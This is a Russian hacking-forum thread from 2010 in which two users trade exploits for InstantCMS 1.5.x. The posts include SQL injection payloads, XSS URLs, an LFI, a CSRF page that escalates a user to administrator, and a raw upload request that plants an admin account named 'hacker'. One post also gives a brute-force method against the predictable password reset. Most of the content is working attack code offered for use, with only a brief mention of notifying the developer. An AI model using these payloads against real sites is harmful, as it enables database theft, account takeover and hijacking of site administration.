Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

11.05.2010, 19:40
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
sql inj instantCMS <== 1.5.3
Need:mq=off
как раньше писал в этой цмс почти все фильтруется, что передается методом post, код усеян регулярками.
Но есть одна особенность. Все это хорошо конечно, но фильтр пропускает
1) \
2) "
Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
ошибка есть, но толку нет, insert запросы никак не закрыть т.к '(одинарная кавычка) обрабатывается фильром и заменяется на `(апостроф).
Ближе к делу. Рассмотрим скрипт регистрации юзеров.
/components/registration/frontend.php
PHP код:
if($inDB->rows_count('cms_users', 'LOWER(nickname) LIKE "'.strtolower($nickname).'"', 1)){
$msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';
}
/core/classes/db.class.php
PHP код:
public function rows_count($table, $where, $limit=0){
$sql = "SELECT * FROM $table WHERE $where";
if ($limit) { $sql .= " LIMIT ".$limit; }
$result = $this->query($sql);
return $this->num_rows($result);
}
Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
вбиваем d поле никнейм следующую шляпу.
Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
Есть одна проблема. Символы <> Жрет фильтр. Это печально, из-за этого на добычу хеша бинарным поиском уйдет больше времени и больше срача будет в логах. Пока еще не раздумывал, но я догадываюсь, как можно обойти. Как разберусь напишу результат.
P.S. переменная $email, проверяется только на регулярку через eregi(). Поставил старую версию php и начал Травить я его ядовитым нулл байтом. ничего хорошего не вышло. только ошибка в бд... байт чего-то синтаксис портит нехило.
С этого момента после нахождения мной уязвимости в этой кмс, о ней будет информирован разработчик.
Последний раз редактировалось The matrix; 11.05.2010 в 19:47..
|
|
|

11.05.2010, 20:59
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
InstantCMS v1.5.3 © 2009
Пассивная XSS
/index.php?view=price&do=search&query=%22onMouseMov e=%22javascript:alert();%22
/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=1%22%3E%3Cscript%3Ealert();%3C/script%3E
LFI
Нужны права админа.
Т.к. при ../ - слэш убираеться, юзаем ..\
/admin/index.php?view=..%5C..%5Cshell.txt%00
(В корне лежал файл shell.txt с phpinfo(); ), код выполнился.
SQL Inj
Нужны права админа.
/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
PHP код:
if (isset($_SESSION['editlist'])){
$id = array_shift($_SESSION['editlist']);
if (sizeof($_SESSION['editlist'])==0) { unset($_SESSION['editlist']); } else
{ $ostatok = '(На очереди: '.sizeof($_SESSION['editlist']).')'; }
} else { $id = $_REQUEST['item_id']; }
$sql = "SELECT * FROM cms_user_autoawards WHERE id = $id LIMIT 1";
$result = dbQuery($sql) ;
if (mysql_num_rows($result)){
$mod = mysql_fetch_assoc($result);
}
CSRF exploit:
Код HTML:
<html>
<title> Fs3M Chm0k3 v 3Nt0m ch4te! =* </title>
<div style='display: none'>
<form action="http://shop/admin/index.php?view=users&do=edit&id=21" method="post" enctype="multipart/form-data" name="addform" id="addform">
<input name="login" type="text" id="logininput" value="Login" />
<input name="nickname" type="text" id="login" value="Xenker"/>
<input name="email" type="text" id="nickname" value="abcd@localhost"/>
<input name="pass" type="password" id="pass"/>
<input name="pass2" type="password" id="pass2"/>
<select name="group_id" id="group_id"><option value="2" >Администраторы</option></select>
<input name="is_locked" type="radio" value="0" checked="checked" />
Нет
<input name="do" type="hidden" id="do" value="update" />
<input name="add_mod" type="submit" id="add_mod" value="Сохранить профиль" />
</div>
<script>
document.addform.submit();
</script>
</html>
Примечание:
Там очень много SQL Inj, но, долбанное ЧПУ недаёт свободу! 
Последний раз редактировалось Ctacok; 11.05.2010 в 21:09..
|
|
|

12.05.2010, 03:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Переустановка пароля админа и угадывание его Уязвимы все версии.
Для эксплуатации нужно:
Админское мыло(по умолчанию отображается в профиле)
много времени.
В чем суть:
/components/registration/frontend.php
PHP код:
$sql = "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
$result = $inDB->query($sql) ;
if ($inDB->num_rows($result)>0){
$usr = $inDB->fetch_assoc($result);
$newpassword = substr(md5(microtime()), 0, 6);
$inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ;
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' . "\n\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
$mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n";
$mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword . "\n\n";
$mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n";
$mail_message .= $_LANG['IN_CONFIG_PROFILE'].': '. cmsUser::getProfileURL($usr['login']) . "\n\n";
$mail_message .= $_LANG['SIGNATURE'].', '. $inConf->sitename . ' ('.HOST.').' . "\n";
$mail_message .= date('d-m-Y (H:i)');
$inCore->mailText($email, $inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message);
Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает.
1) Проверяет есть ли мыльник в бд.
2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime().
Код:
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция
доступна только
на операционных системах, в которых есть системная функция gettimeofday().
При вызове без необязательного параметра, возвращается строка в формате "msec sec",
где sec - это количество секунд, прошедших с начала Эпохи
Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
она генерирует что-то на подобии.
0.xxxxxx00 [1273589840]
где xxxxxx-доли секунды
то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix.
Как юзать уязвимость:
Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату.
Там что-то вроде.
Tue, 11 May 2010 20:39:23 GMT
узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT.
2) А вот микросекунды придется брутить, их мы никак не узнаем. Список
создаем вида
0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля]
пример: 0.30001200 1273589840
всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду.
substr(md5(значение), 0, 6)
возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака.
Пример: 1a512b
Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму.
У меня на дедике многопоточный брут дает до 11 ппс.
1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации.
P.S. Оказывается секунда-это много.
Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант можно юзать.
Нарушение криптостойкости паролей еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:
1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами.
2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [букв и цифр] расшифровать не трудно)
все
Видео с примером использования уязвимости:
https://forum.antichat.ru/threadedpost2138119.html#post2138119
Последний раз редактировалось The matrix; 12.05.2010 в 08:20..
|
|
|

12.05.2010, 14:14
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
instantCMS 1.5.3
Blind SQL Inj.
Вывода ошибок нету. Как хотите так и крутите 
Я включил себе вывод ошибок.
/rss/comments/catalog-12234%20or%20(select%20count(*)%20from%20informati on_schema.tables%20group%20by%20concat(version(),f loor(rand(0)*2)))--%20/feed.rss
Duplicate entry '5.0.45-community-nt1' for key 1
PHP код:
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
|
|
|

12.05.2010, 19:59
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Опачки. Ещё Blind.
Instant CMs 1.5.3
/rss/content/-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--/feed.rss
т.к. юзер root. первый символ r = ASCII = 114.
Выведиться весь контент, НУ вы понеле кароче!
// /components/rssfeed/frontend.php?target=content&item_id=-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--
Так даже удобнее ^_^
Последний раз редактировалось Ctacok; 12.05.2010 в 20:20..
|
|
|

13.05.2010, 12:58
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
InstantCMS <==1.5.1 Внедерение sql кода Добавляем админа
Иногда бывают моменты, когда нет смысла искать уязвимость, чисто потому что разработчик продукта сам ее нашел за вас =)))
Уязвимость была найдена методом сравнения нового дистрибутива и старого. В результате было найдено много багов в старых дистрибутивах. Самый вкусный выкладываю.
файл
/core/ajax/dumper.php
Этот скрипт по идее создан для админа, но пускает и простых юзеров. Суть значит в чем? Он экспортит, импортит бд и удаляет бэкапы.
С экспортом бд ничего хорошего сказать не могу. На локалхосте робит, на некоторых сайтах работать отказывается. Но нам он и не нужен. Мы будем добавлять админа через import
PHP код:
if ($opt=='import'){
$uploaddump = $dir.'/import.sql';
if (@move_uploaded_file($_FILES['dumpfile']['tmp_name'], $uploaddump)) {
include($_SERVER['DOCUMENT_ROOT'].'/includes/dbimport.inc.php');
$errors = '';
if(dbRunSQL($uploaddump)){
@unlink($uploaddump);
echo '<span style="color:green">Импорт базы данных завершен.</span>';
} else {
echo '<span style="color:red">'.$errors.'</span>';
}
} else {
echo '<span style="color:red">Ошибка импорта базы</span>';
}
}
1) Передаем opt=import И через $_FILES шлем файл с evil запросом.
/includes/dbimport.inc.php
PHP код:
strstr($str, 'CREATE TABLE') ||
strstr($str, 'INSERT INTO') ||
strstr($str, 'DROP') ||
strstr($str, 'UPDATE') ||
strstr($str, 'ALTER TABLE'))
select запросы неприемлимы импортер их не хавает. Но и смысла в них нет.
Значит как юзать.
1) Тупо шлем пакет:
Код:
POST /core/ajax/dumper.php HTTP/1.0
User-Agent: google/bot
Host: localhost
Proxy-Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=----------sBqCWtu9l05BT8ffSSXt4Q
Content-Length: 675
------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="opt"
import
------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="dumpfile"; filename="13-05-2010.sql"
Content-Type: application/octet-stream
INSERT INTO `cms_users` (`id`, `group_id`, `login`, `nickname`, `password`, `email`, `icq`, `regdate`, `logdate`, `birthdate`, `is_locked`, `is_deleted`, `rating`, `points`, `last_ip`) VALUES ('666','2','hacker','hacker','5f4dcc3b5aa765d61d8327deb882cf99','yIIIaCTbIu_JIaMep@JIaMep.ru','100200300','2007-11-23 12:41:57','2010-05-13 11:46:50','1980-01-01','0','0','2','0','0.0.0.0');
------------sBqCWtu9l05BT8ffSSXt4Q--
В бд появится админ
id:666
login:hacker
password : password (md5)
email: yIIIaCTbIu_JIaMep@JIaMep.ru
2)Для консерваторов:
Код:
</html>
<head>
<title> The matr1x</title>
</head>
<h3>форма добавления админа</h3>
<form id="importdump" name="importdump" action="http://www.localhost/core/ajax/dumper.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="opt" value="import" />
<input name="dumpfile" type="file" id="dumpfile" size="25" />
<input type="submit" value="добавить админа" />
</form>
</body>
</html>
УСЕ! =)
Последний раз редактировалось The matrix; 13.05.2010 в 13:01..
|
|
|

13.05.2010, 19:19
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Сообщение от Ctacok
instantCMS 1.5.3
Blind SQL Inj.
Вывода ошибок нету. Как хотите так и крутите 
Я включил себе вывод ошибок.
Duplicate entry '5.0.45-community-nt1' for key 1
PHP код:
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
Ulalala ^_^
components/rssfeed/frontend.php?target=content&item_id=1234+union+sel ect+1,concat_ws(0x3a,user(),database(),version()), 3,4,14+--+
Обязательно 4,14!

Последний раз редактировалось Ctacok; 13.05.2010 в 19:26..
|
|
|

13.05.2010, 23:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Сообщение от Ctacok
instantCMS 1.5.3
PHP код:
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
Сообщение от Ctacok
Ulalala ^_^
Обязательно 4,14!

запрос
Код:
SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1
В запросе ведь $target_id.... Откуда взялся item_id?
Дело в то, что Тут другой запрос. Твой не имеет совершенно никакого отношения к баге.
Результат: Кривой Эксплойт.
Суть этой скули в следующем.
Проследим и ОЧЕНЬ подробно по запчастям разберемся в работе скрипта. Так как тут очень много переходов по файлам.
/components/rssfeed/frontend.php
PHP код:
require(PATH."/core/cms.php");
...................................
$inCore->loadClass('db');
...................................
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
$ready = sizeof($rssdata['items']);
функция includeFile() объявляется в
/core/cms.php.
вот она
PHP код:
public function includeFile($file){
include_once PATH.'/'.$file;
}
В своем запросе ты передал $target=content.
Инклудится
/components/content/prss.php
смотрим что в нем
PHP код:
$cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight');
Возвращаемся в
/core/cms.php и смотрим, что делает функция dbGetFields()
/core/cms.php
PHP код:
function dbGetFields($table, $where, $fields, $order='id ASC'){
$inDB = cmsDatabase::getInstance();
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
$result = $inDB->query($sql) or die('DB_GET_FIELDS: '.mysql_error().'<pre>'.$sql);
if ($inDB->num_rows($result)){
$data = $inDB->fetch_assoc($result);
return $data;
} else {
return false;
}
}
Функции поступают
dbGetFields(
'cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight')
Шаблонный вид
($table, $where, $fields, $order='id ASC')
как видно функция генерирует запрос
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
первое значение $table='cms_category' второе значение. $where='id='.$item_id $fields='id, title, description, NSLeft, NSRight'
ну и $order='id ASC', который уже задан в функции. Теперь подставляем значения смотрим какой запрос нам сгенерирует функция.
Код:
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
как видно остался злосчастный $item_id, который не проинициализирован и не подвергается обработке.
Далее что делает функция.
dbGetFields
$inDB->num_rows($result)
$result = $inDB->query($sql)
$data = $inDB->fetch_assoc($result);
функции query() и fetch_assoc() вызовутся так:
вернемся в fronted.php
смотрим строчку
$inCore->loadClass('db');
loadClass() объявляется
в cms.php
PHP код:
public function loadClass($class){
$classfile = PATH.'/core/classes/'.$class.'.class.php';
if (file_exists($classfile)){
include_once($classfile);
return true;
}
нам подгружается db.class.php
PHP код:
public function fetch_assoc($result){
return mysql_fetch_assoc($result);
}
PHP код:
public function num_rows($result){
return (int)mysql_num_rows($result);
}
PHP код:
public function query($sql){
$inConf = cmsConfig::getInstance();
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}
как и видно по названия им вызываются соответствующие функции.
если num_rows() ничего тебе не вернет, то дело до fetch_assoc() не дайдет, функция вернет false. А вытекающее следующее.
вместо вывода ты получишь:
frontend.php
PHP код:
else {
$rss = '<p>Запрашиваемая вами RSS-лента не содержит записей.</p>';
}
Отсюда следует вот что:
num_rows() должен вернуть не пустое значение.
exploit
components/rssfeed/frontend.php?
Код:
target=content&item_id=[id существующей категории]+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,5+--+
честно скажу я не стал вникать, почему твоя конструкция вернула тебе резуьтат(num_rows не вернул 0), ибо все эти хождения по файлам и функциям уже мой мозг вынесли напрчь. Но одно очевидно, я добавил новые категории(а админы их пустыми то и не держут) и твой exploit отказался работать.
вот такая система работы. Никаких 4,14 не нужно.
а ведь хорошая уязвимость =) даже mq = off не требуется.
Последний раз редактировалось The matrix; 14.05.2010 в 00:55..
|
|
|

14.05.2010, 09:38
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
$do = $inCore->request('do', 'str', 'rss');
$target = $inCore->request('target', 'str', 'rss');
$item_id = $inCore->request('item_id', 'str', 'all');
Вот откуда он взялся
А вообще.
PHP код:
...
$do = $inCore->request('do', 'str', 'rss');
$target = $inCore->request('target', 'str', 'rss');
$item_id = $inCore->request('item_id', 'str', 'all');
...
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
Посмотрим на файл с этой функцией..
PHP код:
function rss_content($item_id, $cfg, &$rssdata){
....
if ($item_id == 'all') { $item_id = 0; }
//CHANNEL
if ($item_id){
$cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight');
$catsql = "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}";
Ponel ?)
v 1.5.3
Последний раз редактировалось Ctacok; 14.05.2010 в 09:42..
|
|
|

14.05.2010, 12:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Сообщение от Ctacok
Вот откуда он взялся
А вообще.
PHP код:
...
$do = $inCore->request('do', 'str', 'rss');
$target = $inCore->request('target', 'str', 'rss');
$item_id = $inCore->request('item_id', 'str', 'all');
...
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
Посмотрим на файл с этой функцией..
PHP код:
function rss_content($item_id, $cfg, &$rssdata){
....
if ($item_id == 'all') { $item_id = 0; }
//CHANNEL
if ($item_id){
$cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight');
$catsql = "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}";
Ponel ?)
v 1.5.3
Ну а я о чем писал? =) Я и эту функцию привел, и показал, что она делает и какой в результате получается запрос. И никакого target_id который ты привел в этом коде.
PHP код:
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
там нету и быть не может. Прочти внимательнее мой пост выше =)
Последний раз редактировалось The matrix; 14.05.2010 в 12:30..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|